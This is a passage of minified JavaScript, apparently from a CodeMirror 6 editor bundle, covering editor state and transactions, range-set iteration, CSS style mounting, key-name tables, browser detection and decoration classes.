Di(i){return i==null?pb:Array.isArray(i)?i:[i]}var te=(function(i){return i[i.Word=0]="Word",i[i.Space=1]="Space",i[i.Other=2]="Other",i})(te||(te={}));const gb=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;let _o;try{_o=new RegExp("[\\p{Alphabetic}\\p{Number}_]","u")}catch{}function mb(i){if(_o)return _o.test(i);for(let e=0;e<i.length;e++){let t=i[e];if(/\w/.test(t)||t>"€"&&(t.toUpperCase()!=t.toLowerCase()||gb.test(t)))return!0}return!1}function bb(i){return e=>{if(!/\S/.test(e))return te.Space;if(mb(e))return te.Word;for(let t=0;t<i.length;t++)if(e.indexOf(i[t])>-1)return te.Word;return te.Other}}class V{constructor(e,t,n,r,s,o){this.config=e,this.doc=t,this.selection=n,this.values=r,this.status=e.statusTemplate.slice(),this.computeSlot=s,o&&(o._state=this);for(let l=0;l<this.config.dynamicSlots.length;l++)mn(this,l<<1);this.computeSlot=null}field(e,t=!0){let n=this.config.address[e.id];if(n==null){if(t)throw new RangeError("Field is not present in this state");return}return mn(this,n),Nr(this,n)}update(...e){return zf(this,e,!0)}applyTransaction(e){let t=this.config,{base:n,compartments:r}=t;for(let l of e.effects)l.is(ps.reconfigure)?(t&&(r=new Map,t.compartments.forEach((a,h)=>r.set(h,a)),t=null),r.set(l.value.compartment,l.value.extension)):l.is(N.reconfigure)?(t=null,n=l.value):l.is(N.appendConfig)&&(t=null,n=Di(n).concat(l.value));let s;t?s=e.startState.values.slice():(t=Ir.resolve(n,r,this),s=new V(t,this.doc,this.selection,t.dynamicSlots.map(()=>null),(a,h)=>h.reconfigure(a,this),null).values);let o=e.startState.facet(Bo)?e.newSelection:e.newSelection.asSingle();new V(t,e.newDoc,o,s,(l,a)=>a.update(l,e),e)}replaceSelection(e){return typeof e=="string"&&(e=this.toText(e)),this.changeByRange(t=>({changes:{from:t.from,to:t.to,insert:e},range:v.cursor(t.from+e.length)}))}changeByRange(e){let t=this.selection,n=e(t.ranges[0]),r=this.changes(n.changes),s=[n.range],o=Di(n.effects);for(let l=1;l<t.ranges.length;l++){let a=e(t.ranges[l]),h=this.changes(a.changes),c=h.map(r);for(let u=0;u<l;u++)s[u]=s[u].map(c);let f=r.mapDesc(h,!0);s.push(a.range.map(f)),r=r.compose(c),o=N.mapEffects(o,c).concat(N.mapEffects(Di(a.effects),f))}return{changes:r,selection:v.create(s,t.mainIndex),effects:o}}changes(e=[]){return e instanceof he?e:he.of(e,this.doc.length,this.facet(V.lineSeparator))}toText(e){return z.of(e.split(this.facet(V.lineSeparator)||Lo))}sliceDoc(e=0,t=this.doc.length){return this.doc.sliceString(e,t,this.lineBreak)}facet(e){let t=this.config.address[e.id];return t==null?e.default:(mn(this,t),Nr(this,t))}toJSON(e){let t={doc:this.sliceDoc(),selection:this.selection.toJSON()};if(e)for(let n in e){let r=e[n];r instanceof Ae&&this.config.address[r.id]!=null&&(t[n]=r.spec.toJSON(this.field(e[n]),this))}return t}static fromJSON(e,t={},n){if(!e||typeof e.doc!="string")throw new RangeError("Invalid JSON representation for EditorState");let r=[];if(n){for(let s in n)if(Object.prototype.hasOwnProperty.call(e,s)){let o=n[s],l=e[s];r.push(o.init(a=>o.spec.fromJSON(l,a)))}}return V.create({doc:e.doc,selection:v.fromJSON(e.selection),extensions:t.extensions?r.concat([t.extensions]):r})}static create(e={}){let t=Ir.resolve(e.extensions||[],new Map),n=e.doc instanceof z?e.doc:z.of((e.doc||"").split(t.staticFacet(V.lineSeparator)||Lo)),r=e.selection?e.selection instanceof v?e.selection:v.single(e.selection.anchor,e.selection.head):v.single(0);return Nf(r,n.length),t.staticFacet(Bo)||(r=r.asSingle()),new V(t,n,r,t.dynamicSlots.map(()=>null),(s,o)=>o.create(s),null)}get tabSize(){return this.facet(V.tabSize)}get lineBreak(){return this.facet(V.lineSeparator)||`
`}get readOnly(){return this.facet(Vf)}phrase(e,...t){for(let n of this.facet(V.phrases))if(Object.prototype.hasOwnProperty.call(n,e)){e=n[e];break}return t.length&&(e=e.replace(/\$(\$|\d*)/g,(n,r)=>{if(r=="$")return"$";let s=+(r||1);return!s||s>t.length?n:t[s-1]})),e}languageDataAt(e,t,n=-1){let r=[];for(let s of this.facet(Ff))for(let o of s(this,t,n))Object.prototype.hasOwnProperty.call(o,e)&&r.push(o[e]);return r}charCategorizer(e){let t=this.languageDataAt("wordChars",e);return bb(t.length?t[0]:"")}wordAt(e){let{text:t,from:n,length:r}=this.doc.lineAt(e),s=this.charCategorizer(e),o=e-n,l=e-n;for(;o>0;){let a=pe(t,o,!1);if(s(t.slice(a,o))!=te.Word)break;o=a}for(;l<r;){let a=pe(t,l);if(s(t.slice(l,a))!=te.Word)break;l=a}return o==l?null:v.range(o+n,l+n)}}V.allowMultipleSelections=Bo;V.tabSize=T.define({combine:i=>i.length?i[0]:4});V.lineSeparator=_f;V.readOnly=Vf;V.phrases=T.define({compare(i,e){let t=Object.keys(i),n=Object.keys(e);return t.length==n.length&&t.every(r=>i[r]==e[r])}});V.languageData=Ff;V.changeFilter=Wf;V.transactionFilter=$f;V.transactionExtender=Hf;ps.reconfigure=N.define();function kt(i,e,t={}){let n={};for(let r of i)for(let s of Object.keys(r)){let o=r[s],l=n[s];if(l===void 0)n[s]=o;else if(!(l===o||o===void 0))if(Object.hasOwnProperty.call(t,s))n[s]=t[s](l,o);else throw new Error("Config merge conflict for field "+s)}for(let r in e)n[r]===void 0&&(n[r]=e[r]);return n}class Vt{eq(e){return this==e}range(e,t=e){return Wo.create(e,t,this)}}Vt.prototype.startSide=Vt.prototype.endSide=0;Vt.prototype.point=!1;Vt.prototype.mapMode=De.TrackDel;function Hl(i,e){return i==e||i.constructor==e.constructor&&i.eq(e)}let Wo=class qf{constructor(e,t,n){this.from=e,this.to=t,this.value=n}static create(e,t,n){return new qf(e,t,n)}};function $o(i,e){return i.from-e.from||i.value.startSide-e.value.startSide}class Vl{constructor(e,t,n,r){this.from=e,this.to=t,this.value=n,this.maxPoint=r}get length(){return this.to[this.to.length-1]}findIndex(e,t,n,r=0){let s=n?this.to:this.from;for(let o=r,l=s.length;;){if(o==l)return o;let a=o+l>>1,h=s[a]-e||(n?this.value[a].endSide:this.value[a].startSide)-t;if(a==o)return h>=0?o:l;h>=0?l=a:o=a+1}}between(e,t,n,r){for(let s=this.findIndex(t,-1e9,!0),o=this.findIndex(n,1e9,!1,s);s<o;s++)if(r(this.from[s]+e,this.to[s]+e,this.value[s])===!1)return!1}map(e,t){let n=[],r=[],s=[],o=-1,l=-1;for(let a=0;a<this.value.length;a++){let h=this.value[a],c=this.from[a]+e,f=this.to[a]+e,u,d;if(c==f){let p=t.mapPos(c,h.startSide,h.mapMode);if(p==null||(u=d=p,h.startSide!=h.endSide&&(d=t.mapPos(c,h.endSide),d<u)))continue}else if(u=t.mapPos(c,h.startSide),d=t.mapPos(f,h.endSide),u>d||u==d&&h.startSide>0&&h.endSide<=0)continue;(d-u||h.endSide-h.startSide)<0||(o<0&&(o=u),h.point&&(l=Math.max(l,d-u)),n.push(h),r.push(u-o),s.push(d-o))}return{mapped:n.length?new Vl(r,s,n,l):null,pos:o}}}class ${constructor(e,t,n,r){this.chunkPos=e,this.chunk=t,this.nextLayer=n,this.maxPoint=r}static create(e,t,n,r){return new $(e,t,n,r)}get length(){let e=this.chunk.length-1;return e<0?0:Math.max(this.chunkEnd(e),this.nextLayer.length)}get size(){if(this.isEmpty)return 0;let e=this.nextLayer.size;for(let t of this.chunk)e+=t.value.length;return e}chunkEnd(e){return this.chunkPos[e]+this.chunk[e].length}update(e){let{add:t=[],sort:n=!1,filterFrom:r=0,filterTo:s=this.length}=e,o=e.filter;if(t.length==0&&!o)return this;if(n&&(t=t.slice().sort($o)),this.isEmpty)return t.length?$.of(t):this;let l=new Uf(this,null,-1).goto(0),a=0,h=[],c=new Et;for(;l.value||a<t.length;)if(a<t.length&&(l.from-t[a].from||l.startSide-t[a].value.startSide)>=0){let f=t[a++];c.addInner(f.from,f.to,f.value)||h.push(f)}else l.rangeIndex==1&&l.chunkIndex<this.chunk.length&&(a==t.length||this.chunkEnd(l.chunkIndex)<t[a].from)&&(!o||r>this.chunkEnd(l.chunkIndex)||s<this.chunkPos[l.chunkIndex])&&c.addChunk(this.chunkPos[l.chunkIndex],this.chunk[l.chunkIndex])?l.nextChunk():((!o||r>l.to||s<l.from||o(l.from,l.to,l.value))&&(c.addInner(l.from,l.to,l.value)||h.push(Wo.create(l.from,l.to,l.value))),l.next());return c.finishInner(this.nextLayer.isEmpty&&!h.length?$.empty:this.nextLayer.update({add:h,filter:o,filterFrom:r,filterTo:s}))}map(e){if(e.empty||this.isEmpty)return this;let t=[],n=[],r=-1;for(let o=0;o<this.chunk.length;o++){let l=this.chunkPos[o],a=this.chunk[o],h=e.touchesRange(l,l+a.length);if(h===!1)r=Math.max(r,a.maxPoint),t.push(a),n.push(e.mapPos(l));else if(h===!0){let{mapped:c,pos:f}=a.map(l,e);c&&(r=Math.max(r,c.maxPoint),t.push(c),n.push(f))}}let s=this.nextLayer.map(e);return t.length==0?s:new $(n,t,s||$.empty,r)}between(e,t,n){if(!this.isEmpty){for(let r=0;r<this.chunk.length;r++){let s=this.chunkPos[r],o=this.chunk[r];if(t>=s&&e<=s+o.length&&o.between(s,e-s,t-s,n)===!1)return}this.nextLayer.between(e,t,n)}}iter(e=0){return Cn.from([this]).goto(e)}get isEmpty(){return this.nextLayer==this}static iter(e,t=0){return Cn.from(e).goto(t)}static compare(e,t,n,r,s=-1){let o=e.filter(f=>f.maxPoint>0||!f.isEmpty&&f.maxPoint>=s),l=t.filter(f=>f.maxPoint>0||!f.isEmpty&&f.maxPoint>=s),a=Xa(o,l,n),h=new ln(o,a,s),c=new ln(l,a,s);n.iterGaps((f,u,d)=>ja(h,f,c,u,d,r)),n.empty&&n.length==0&&ja(h,0,c,0,0,r)}static eq(e,t,n=0,r){r==null&&(r=999999999);let s=e.filter(c=>!c.isEmpty&&t.indexOf(c)<0),o=t.filter(c=>!c.isEmpty&&e.indexOf(c)<0);if(s.length!=o.length)return!1;if(!s.length)return!0;let l=Xa(s,o),a=new ln(s,l,0).goto(n),h=new ln(o,l,0).goto(n);for(;;){if(a.to!=h.to||!Ho(a.active,h.active)||a.point&&(!h.point||!Hl(a.point,h.point)))return!1;if(a.to>r)return!0;a.next(),h.next()}}static spans(e,t,n,r,s=-1){let o=new ln(e,null,s).goto(t),l=t,a=o.openStart;for(;;){let h=Math.min(o.to,n);if(o.point){let c=o.activeForPoint(o.to),f=o.pointFrom<t?c.length+1:o.point.startSide<0?c.length:Math.min(c.length,a);r.point(l,h,o.point,c,f,o.pointRank),a=Math.min(o.openEnd(h),c.length)}else h>l&&(r.span(l,h,o.active,a),a=o.openEnd(h));if(o.to>n)return a+(o.point&&o.to>n?1:0);l=o.to,o.next()}}static of(e,t=!1){let n=new Et;for(let r of e instanceof Wo?[e]:t?yb(e):e)n.add(r.from,r.to,r.value);return n.finish()}static join(e){if(!e.length)return $.empty;let t=e[e.length-1];for(let n=e.length-2;n>=0;n--)for(let r=e[n];r!=$.empty;r=r.nextLayer)t=new $(r.chunkPos,r.chunk,t,Math.max(r.maxPoint,t.maxPoint));return t}}$.empty=new $([],[],null,-1);function yb(i){if(i.length>1)for(let e=i[0],t=1;t<i.length;t++){let n=i[t];if($o(e,n)>0)return i.slice().sort($o);e=n}return i}$.empty.nextLayer=$.empty;class Et{finishChunk(e){this.chunks.push(new Vl(this.from,this.to,this.value,this.maxPoint)),this.chunkPos.push(this.chunkStart),this.chunkStart=-1,this.setMaxPoint=Math.max(this.setMaxPoint,this.maxPoint),this.maxPoint=-1,e&&(this.from=[],this.to=[],this.value=[])}constructor(){this.chunks=[],this.chunkPos=[],this.chunkStart=-1,this.last=null,this.lastFrom=-1e9,this.lastTo=-1e9,this.from=[],this.to=[],this.value=[],this.maxPoint=-1,this.setMaxPoint=-1,this.nextLayer=null}add(e,t,n){this.addInner(e,t,n)||(this.nextLayer||(this.nextLayer=new Et)).add(e,t,n)}addInner(e,t,n){let r=e-this.lastTo||n.startSide-this.last.endSide;if(r<=0&&(e-this.lastFrom||n.startSide-this.last.startSide)<0)throw new Error("Ranges must be added sorted by `from` position and `startSide`");return r<0?!1:(this.from.length==250&&this.finishChunk(!0),this.chunkStart<0&&(this.chunkStart=e),this.from.push(e-this.chunkStart),this.to.push(t-this.chunkStart),this.last=n,this.lastFrom=e,this.lastTo=t,this.value.push(n),n.point&&(this.maxPoint=Math.max(this.maxPoint,t-e)),!0)}addChunk(e,t){if((e-this.lastTo||t.value[0].startSide-this.last.endSide)<0)return!1;this.from.length&&this.finishChunk(!0),this.setMaxPoint=Math.max(this.setMaxPoint,t.maxPoint),this.chunks.push(t),this.chunkPos.push(e);let n=t.value.length-1;return this.last=t.value[n],this.lastFrom=t.from[n]+e,this.lastTo=t.to[n]+e,!0}finish(){return this.finishInner($.empty)}finishInner(e){if(this.from.length&&this.finishChunk(!1),this.chunks.length==0)return e;let t=$.create(this.chunkPos,this.chunks,this.nextLayer?this.nextLayer.finishInner(e):e,this.setMaxPoint);return this.from=null,t}}function Xa(i,e,t){let n=new Map;for(let s of i)for(let o=0;o<s.chunk.length;o++)s.chunk[o].maxPoint<=0&&n.set(s.chunk[o],s.chunkPos[o]);let r=new Set;for(let s of e)for(let o=0;o<s.chunk.length;o++){let l=n.get(s.chunk[o]);l!=null&&(t?t.mapPos(l):l)==s.chunkPos[o]&&!t?.touchesRange(l,l+s.chunk[o].length)&&r.add(s.chunk[o])}return r}class Uf{constructor(e,t,n,r=0){this.layer=e,this.skip=t,this.minPoint=n,this.rank=r}get startSide(){return this.value?this.value.startSide:0}get endSide(){return this.value?this.value.endSide:0}goto(e,t=-1e9){return this.chunkIndex=this.rangeIndex=0,this.gotoInner(e,t,!1),this}gotoInner(e,t,n){for(;this.chunkIndex<this.layer.chunk.length;){let r=this.layer.chunk[this.chunkIndex];if(!(this.skip&&this.skip.has(r)||this.layer.chunkEnd(this.chunkIndex)<e||r.maxPoint<this.minPoint))break;this.chunkIndex++,n=!1}if(this.chunkIndex<this.layer.chunk.length){let r=this.layer.chunk[this.chunkIndex].findIndex(e-this.layer.chunkPos[this.chunkIndex],t,!0);(!n||this.rangeIndex<r)&&this.setRangeIndex(r)}this.next()}forward(e,t){(this.to-e||this.endSide-t)<0&&this.gotoInner(e,t,!0)}next(){for(;;)if(this.chunkIndex==this.layer.chunk.length){this.from=this.to=1e9,this.value=null;break}else{let e=this.layer.chunkPos[this.chunkIndex],t=this.layer.chunk[this.chunkIndex],n=e+t.from[this.rangeIndex];if(this.from=n,this.to=e+t.to[this.rangeIndex],this.value=t.value[this.rangeIndex],this.setRangeIndex(this.rangeIndex+1),this.minPoint<0||this.value.point&&this.to-this.from>=this.minPoint)break}}setRangeIndex(e){if(e==this.layer.chunk[this.chunkIndex].value.length){if(this.chunkIndex++,this.skip)for(;this.chunkIndex<this.layer.chunk.length&&this.skip.has(this.layer.chunk[this.chunkIndex]);)this.chunkIndex++;this.rangeIndex=0}else this.rangeIndex=e}nextChunk(){this.chunkIndex++,this.rangeIndex=0,this.next()}compare(e){return this.from-e.from||this.startSide-e.startSide||this.rank-e.rank||this.to-e.to||this.endSide-e.endSide}}class Cn{constructor(e){this.heap=e}static from(e,t=null,n=-1){let r=[];for(let s=0;s<e.length;s++)for(let o=e[s];!o.isEmpty;o=o.nextLayer)o.maxPoint>=n&&r.push(new Uf(o,t,n,s));return r.length==1?r[0]:new Cn(r)}get startSide(){return this.value?this.value.startSide:0}goto(e,t=-1e9){for(let n of this.heap)n.goto(e,t);for(let n=this.heap.length>>1;n>=0;n--)$s(this.heap,n);return this.next(),this}forward(e,t){for(let n of this.heap)n.forward(e,t);for(let n=this.heap.length>>1;n>=0;n--)$s(this.heap,n);(this.to-e||this.value.endSide-t)<0&&this.next()}next(){if(this.heap.length==0)this.from=this.to=1e9,this.value=null,this.rank=-1;else{let e=this.heap[0];this.from=e.from,this.to=e.to,this.value=e.value,this.rank=e.rank,e.value&&e.next(),$s(this.heap,0)}}}function $s(i,e){for(let t=i[e];;){let n=(e<<1)+1;if(n>=i.length)break;let r=i[n];if(n+1<i.length&&r.compare(i[n+1])>=0&&(r=i[n+1],n++),t.compare(r)<0)break;i[n]=t,i[e]=r,e=n}}class ln{constructor(e,t,n){this.minPoint=n,this.active=[],this.activeTo=[],this.activeRank=[],this.minActive=-1,this.point=null,this.pointFrom=0,this.pointRank=0,this.to=-1e9,this.endSide=0,this.openStart=-1,this.cursor=Cn.from(e,t,n)}goto(e,t=-1e9){return this.cursor.goto(e,t),this.active.length=this.activeTo.length=this.activeRank.length=0,this.minActive=-1,this.to=e,this.endSide=t,this.openStart=-1,this.next(),this}forward(e,t){for(;this.minActive>-1&&(this.activeTo[this.minActive]-e||this.active[this.minActive].endSide-t)<0;)this.removeActive(this.minActive);this.cursor.forward(e,t)}removeActive(e){Yn(this.active,e),Yn(this.activeTo,e),Yn(this.activeRank,e),this.minActive=Ya(this.active,this.activeTo)}addActive(e){let t=0,{value:n,to:r,rank:s}=this.cursor;for(;t<this.activeRank.length&&(s-this.activeRank[t]||r-this.activeTo[t])>0;)t++;Gn(this.active,t,n),Gn(this.activeTo,t,r),Gn(this.activeRank,t,s),e&&Gn(e,t,this.cursor.from),this.minActive=Ya(this.active,this.activeTo)}next(){let e=this.to,t=this.point;this.point=null;let n=this.openStart<0?[]:null;for(;;){let r=this.minActive;if(r>-1&&(this.activeTo[r]-this.cursor.from||this.active[r].endSide-this.cursor.startSide)<0){if(this.activeTo[r]>e){this.to=this.activeTo[r],this.endSide=this.active[r].endSide;break}this.removeActive(r),n&&Yn(n,r)}else if(this.cursor.value)if(this.cursor.from>e){this.to=this.cursor.from,this.endSide=this.cursor.startSide;break}else{let s=this.cursor.value;if(!s.point)this.addActive(n),this.cursor.next();else if(t&&this.cursor.to==this.to&&this.cursor.from<this.cursor.to)this.cursor.next();else{this.point=s,this.pointFrom=this.cursor.from,this.pointRank=this.cursor.rank,this.to=this.cursor.to,this.endSide=s.endSide,this.cursor.next(),this.forward(this.to,this.endSide);break}}else{this.to=this.endSide=1e9;break}}if(n){this.openStart=0;for(let r=n.length-1;r>=0&&n[r]<e;r--)this.openStart++}}activeForPoint(e){if(!this.active.length)return this.active;let t=[];for(let n=this.active.length-1;n>=0&&!(this.activeRank[n]<this.pointRank);n--)(this.activeTo[n]>e||this.activeTo[n]==e&&this.active[n].endSide>=this.point.endSide)&&t.push(this.active[n]);return t.reverse()}openEnd(e){let t=0;for(let n=this.activeTo.length-1;n>=0&&this.activeTo[n]>e;n--)t++;return t}}function ja(i,e,t,n,r,s){i.goto(e),t.goto(n);let o=n+r,l=n,a=n-e,h=!!s.boundChange;for(let c=!1;;){let f=i.to+a-t.to,u=f||i.endSide-t.endSide,d=u<0?i.to+a:t.to,p=Math.min(d,o);if(i.point||t.point?(i.point&&t.point&&Hl(i.point,t.point)&&Ho(i.activeForPoint(i.to),t.activeForPoint(t.to))||s.comparePoint(l,p,i.point,t.point),c=!1):(c&&s.boundChange(l),p>l&&!Ho(i.active,t.active)&&s.compareRange(l,p,i.active,t.active),h&&p<o&&(f||i.openEnd(d)!=t.openEnd(d))&&(c=!0)),d>o)break;l=d,u<=0&&i.next(),u>=0&&t.next()}}function Ho(i,e){if(i.length!=e.length)return!1;for(let t=0;t<i.length;t++)if(i[t]!=e[t]&&!Hl(i[t],e[t]))return!1;return!0}function Yn(i,e){for(let t=e,n=i.length-1;t<n;t++)i[t]=i[t+1];i.pop()}function Gn(i,e,t){for(let n=i.length-1;n>=e;n--)i[n+1]=i[n];i[e]=t}function Ya(i,e){let t=-1,n=1e9;for(let r=0;r<e.length;r++)(e[r]-n||i[r].endSide-i[t].endSide)<0&&(t=r,n=e[r]);return t}function Ji(i,e,t=i.length){let n=0;for(let r=0;r<t&&r<i.length;)i.charCodeAt(r)==9?(n+=e-n%e,r++):(n++,r=pe(i,r));return n}function Vo(i,e,t,n){for(let r=0,s=0;;){if(s>=e)return r;if(r==i.length)break;s+=i.charCodeAt(r)==9?t-s%t:1,r=pe(i,r)}return n===!0?-1:i.length}const Qo="ͼ",Ga=typeof Symbol>"u"?"__"+Qo:Symbol.for(Qo),zo=typeof Symbol>"u"?"__styleSet"+Math.floor(Math.random()*1e8):Symbol("styleSet"),Ja=typeof globalThis<"u"?globalThis:typeof window<"u"?window:{};class Qt{constructor(e,t){this.rules=[];let{finish:n}=t||{};function r(o){return/^@/.test(o)?[o]:o.split(/,\s*/)}function s(o,l,a,h){let c=[],f=/^@(\w+)\b/.exec(o[0]),u=f&&f[1]=="keyframes";if(f&&l==null)return a.push(o[0]+";");for(let d in l){let p=l[d];if(/&/.test(d))s(d.split(/,\s*/).map(g=>o.map(m=>g.replace(/&/,m))).reduce((g,m)=>g.concat(m)),p,a);else if(p&&typeof p=="object"){if(!f)throw new RangeError("The value of a property ("+d+") should be a primitive value.");s(r(d),p,c,u)}else p!=null&&c.push(d.replace(/_.*/,"").replace(/[A-Z]/g,g=>"-"+g.toLowerCase())+": "+p+";")}(c.length||u)&&a.push((n&&!f&&!h?o.map(n):o).join(", ")+" {"+c.join(" ")+"}")}for(let o in e)s(r(o),e[o],this.rules)}getRules(){return this.rules.join(`
`)}static newName(){let e=Ja[Ga]||1;return Ja[Ga]=e+1,Qo+e.toString(36)}static mount(e,t,n){let r=e[zo],s=n&&n.nonce;r?s&&r.setNonce(s):r=new xb(e,s),r.mount(Array.isArray(t)?t:[t],e)}}let Za=new Map;class xb{constructor(e,t){let n=e.ownerDocument||e,r=n.defaultView;if(!e.head&&e.adoptedStyleSheets&&r.CSSStyleSheet){let s=Za.get(n);if(s)return e[zo]=s;this.sheet=new r.CSSStyleSheet,Za.set(n,this)}else this.styleTag=n.createElement("style"),t&&this.styleTag.setAttribute("nonce",t);this.modules=[],e[zo]=this}mount(e,t){let n=this.sheet,r=0,s=0;for(let o=0;o<e.length;o++){let l=e[o],a=this.modules.indexOf(l);if(a<s&&a>-1&&(this.modules.splice(a,1),s--,a=-1),a==-1){if(this.modules.splice(s++,0,l),n)for(let h=0;h<l.rules.length;h++)n.insertRule(l.rules[h],r++)}else{for(;s<a;)r+=this.modules[s++].rules.length;r+=l.rules.length,s++}}if(n)t.adoptedStyleSheets.indexOf(this.sheet)<0&&(t.adoptedStyleSheets=[this.sheet,...t.adoptedStyleSheets]);else{let o="";for(let a=0;a<this.modules.length;a++)o+=this.modules[a].getRules()+`
`;this.styleTag.textContent=o;let l=t.head||t;this.styleTag.parentNode!=l&&l.insertBefore(this.styleTag,l.firstChild)}}setNonce(e){this.styleTag&&this.styleTag.getAttribute("nonce")!=e&&this.styleTag.setAttribute("nonce",e)}}var zt={8:"Backspace",9:"Tab",10:"Enter",12:"NumLock",13:"Enter",16:"Shift",17:"Control",18:"Alt",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",44:"PrintScreen",45:"Insert",46:"Delete",59:";",61:"=",91:"Meta",92:"Meta",106:"*",107:"+",108:",",109:"-",110:".",111:"/",144:"NumLock",145:"ScrollLock",160:"Shift",161:"Shift",162:"Control",163:"Control",164:"Alt",165:"Alt",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'"},An={48:")",49:"!",50:"@",51:"#",52:"$",53:"%",54:"^",55:"&",56:"*",57:"(",59:":",61:"+",173:"_",186:":",187:"+",188:"<",189:"_",190:">",191:"?",192:"~",219:"{",220:"|",221:"}",222:'"'},vb=typeof navigator<"u"&&/Mac/.test(navigator.platform),Sb=typeof navigator<"u"&&/MSIE \d|Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);for(var ve=0;ve<10;ve++)zt[48+ve]=zt[96+ve]=String(ve);for(var ve=1;ve<=24;ve++)zt[ve+111]="F"+ve;for(var ve=65;ve<=90;ve++)zt[ve]=String.fromCharCode(ve+32),An[ve]=String.fromCharCode(ve);for(var Hs in zt)An.hasOwnProperty(Hs)||(An[Hs]=zt[Hs]);function kb(i){var e=vb&&i.metaKey&&i.shiftKey&&!i.ctrlKey&&!i.altKey||Sb&&i.shiftKey&&i.key&&i.key.length==1||i.key=="Unidentified",t=!e&&i.key||(i.shiftKey?An:zt)[i.keyCode]||i.key||"Unidentified";return t=="Esc"&&(t="Escape"),t=="Del"&&(t="Delete"),t=="Left"&&(t="ArrowLeft"),t=="Up"&&(t="ArrowUp"),t=="Right"&&(t="ArrowRight"),t=="Down"&&(t="ArrowDown"),t}function j(){var i=arguments[0];typeof i=="string"&&(i=document.createElement(i));var e=1,t=arguments[1];if(t&&typeof t=="object"&&t.nodeType==null&&!Array.isArray(t)){for(var n in t)if(Object.prototype.hasOwnProperty.call(t,n)){var r=t[n];typeof r=="string"?i.setAttribute(n,r):r!=null&&(i[n]=r)}e++}for(;e<arguments.length;e++)Kf(i,arguments[e]);return i}function Kf(i,e){if(typeof e=="string")i.appendChild(document.createTextNode(e));else if(e!=null)if(e.nodeType!=null)i.appendChild(e);else if(Array.isArray(e))for(var t=0;t<e.length;t++)Kf(i,e[t]);else throw new RangeError("Unsupported child node: "+e)}let Le=typeof navigator<"u"?navigator:{userAgent:"",vendor:"",platform:""},qo=typeof document<"u"?document:{documentElement:{style:{}}};const Uo=/Edge\/(\d+)/.exec(Le.userAgent),Xf=/MSIE \d/.test(Le.userAgent),Ko=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(Le.userAgent),gs=!!(Xf||Ko||Uo),eh=!gs&&/gecko\/(\d+)/i.test(Le.userAgent),Vs=!gs&&/Chrome\/(\d+)/.exec(Le.userAgent),th="webkitFontSmoothing"in qo.documentElement.style,Xo=!gs&&/Apple Computer/.test(Le.vendor),ih=Xo&&(/Mobile\/\w+/.test(Le.userAgent)||Le.maxTouchPoints>2);var P={mac:ih||/Mac/.test(Le.platform),windows:/Win/.test(Le.platform),linux:/Linux|X11/.test(Le.platform),ie:gs,ie_version:Xf?qo.documentMode||6:Ko?+Ko[1]:Uo?+Uo[1]:0,gecko:eh,gecko_version:eh?+(/Firefox\/(\d+)/.exec(Le.userAgent)||[0,0])[1]:0,chrome:!!Vs,chrome_version:Vs?+Vs[1]:0,ios:ih,android:/Android\b/.test(Le.userAgent),webkit:th,webkit_version:th?+(/\bAppleWebKit\/(\d+)/.exec(Le.userAgent)||[0,0])[1]:0,safari:Xo,safari_version:Xo?+(/\bVersion\/(\d+(\.\d+)?)/.exec(Le.userAgent)||[0,0])[1]:0,tabSize:qo.documentElement.style.tabSize!=null?"tab-size":"-moz-tab-size"};function Ql(i,e){for(let t in i)t=="class"&&e.class?e.class+=" "+i.class:t=="style"&&e.style?e.style+=";"+i.style:e[t]=i[t];return e}const Br=Object.create(null);function zl(i,e,t){if(i==e)return!0;i||(i=Br),e||(e=Br);let n=Object.keys(i),r=Object.keys(e);if(n.length-0!=r.length-0)return!1;for(let s of n)if(s!=t&&(r.indexOf(s)==-1||i[s]!==e[s]))return!1;return!0}function wb(i,e){for(let t=i.attributes.length-1;t>=0;t--){let n=i.attributes[t].name;e[n]==null&&i.removeAttribute(n)}for(let t in e){let n=e[t];t=="style"?i.style.cssText=n:i.getAttribute(t)!=n&&i.setAttribute(t,n)}}function nh(i,e,t){let n=!1;if(e)for(let r in e)t&&r in t||(n=!0,r=="style"?i.style.cssText="":i.removeAttribute(r));if(t)for(let r in t)e&&e[r]==t[r]||(n=!0,r=="style"?i.style.cssText=t[r]:i.setAttribute(r,t[r]));return n}function Ob(i){let e=Object.create(null);for(let t=0;t<i.attributes.length;t++){let n=i.attributes[t];e[n.name]=n.value}return e}class wt{eq(e){return!1}updateDOM(e,t,n){return!1}compare(e){return this==e||this.constructor==e.constructor&&this.eq(e)}get estimatedHeight(){return-1}get lineBreaks(){return 0}ignoreEvent(e){return!0}coordsAt(e,t,n){return null}get isHidden(){return!1}get editable(){return!1}destroy(e){}}var Se=(function(i){return i[i.Text=0]="Text",i[i.WidgetBefore=1]="WidgetBefore",i[i.WidgetAfter=2]="WidgetAfter",i[i.WidgetRange=3]="WidgetRange",i})(Se||(Se={}));class D extends Vt{constructor(e,t,n,r){super(),this.startSide=e,this.endSide=t,this.widget=n,this.spec=r}get heightRelevant(){return!1}static mark(e){return new Hn(e)}static widget(e){let t=Math.max(-1e4,Math.min(1e4,e.side||0)),n=!!e.block;return t+=n&&!e.inlineOrder?t>0?3e8:-4e8:t>0?1e8:-1e8,new pi(e,t,t,n,e.widget||null,!1)}static replace(e){let t=!!e.block,n,r;if(e.isBlockGap)n=-5e8,r=4e8;else{let{start:s,end:o}=jf(e,t);n=(s?t?-3e8:-1:5e8)-1,r=(o?t?2e8:1:-6e8)+1}return new pi(e,n,r,t,e.widget||null,!0)}static line(e){return new Vn(e)}static set(e,t=!1){return $.of(e,t)}hasHeight(){return this.widget?this.widget.estimatedHeight>-1:!1}}D.none=$.empty;class Hn extends D{constructor(e){let{start:t,end:n}=jf(e);super(t?-1:5e8,n?1:-6e8,null,e),this.tagName=e.tagName||"span",this.attrs=e.class&&e.attributes?Ql(e.attributes,{class:e.class}):e.class?{class:e.class}:e.attributes||Br}eq(e){return this==e||e instanceof Hn&&this.tagName==e.tagName&&zl(this.attrs,e.attrs)}range(e,t=e){if(e>=t)throw new RangeError("Mark decorations may not be empty");return super.range(e,t)}}Hn.prototype.point=!1;class Vn extends 